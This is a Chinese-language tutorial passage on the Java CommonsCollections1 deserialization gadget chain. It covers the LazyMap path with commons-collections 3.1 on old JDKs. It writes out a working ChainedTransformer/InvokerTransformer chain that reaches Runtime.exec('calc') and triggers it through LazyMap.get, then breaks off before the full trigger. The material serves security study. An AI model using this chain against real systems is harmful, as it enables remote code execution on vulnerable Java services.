前置条件
JDK: JDK
版本应该为8u71
之前
存档地址: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
利用链: TransformedMap
链
引入依赖: commons-collections3.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
回顾CC1
先回顾一下CC1链的核心: ChainedTransformer
的 transformer
链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
// 关键在于想办法调用chainedTransformer的transform方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
LazyMap
写一个 LazyMap 的简单 Demo 熟悉用法
// 将 HashMap 包装成 LazyMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,
new ConstantTransformer("Sinon") // 常量转换器
);
// LazyMap.decorate 会 return LazyMap(map, factory); LazyMap实例
// outerMap 为 LazyMap 实例
// 将在查找不到 key 时会采用 ConstantTransformer("Sinon") 生成默认值
// key 是 Map 中的键名
Object value = outerMap.get("Rorochan"); // Map中不存在键名为 Rorochan 的键值对
System.out.println(value); // Sinon
outerMap.put("test1","test");
Object value1 = outerMap.get("test1");
System.out.println(value1); // test
以及注意到 LazyMap.get
方法的处理:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
可以看到当 LazyMap
的 get
方法在查找不到 key 时可以触发 LazyMap.decorate
的 factory
来实现自定义处理。
且 LazyMap
的装饰器方法参数是可控的。
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
现在结合 chainedTransformer
链简单尝试执行命令
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer); // 自定义处理
outerMap.get("Sinon"); // 执行成功
// outerMap.put("test1","test");
// outerMap.get("test1");
寻找触发点
已经知晓的如何利用 LazyMap
和 ChainedTransformer
来实现命令执行,现在继续寻找如何调用到 get
方法以触发利用链。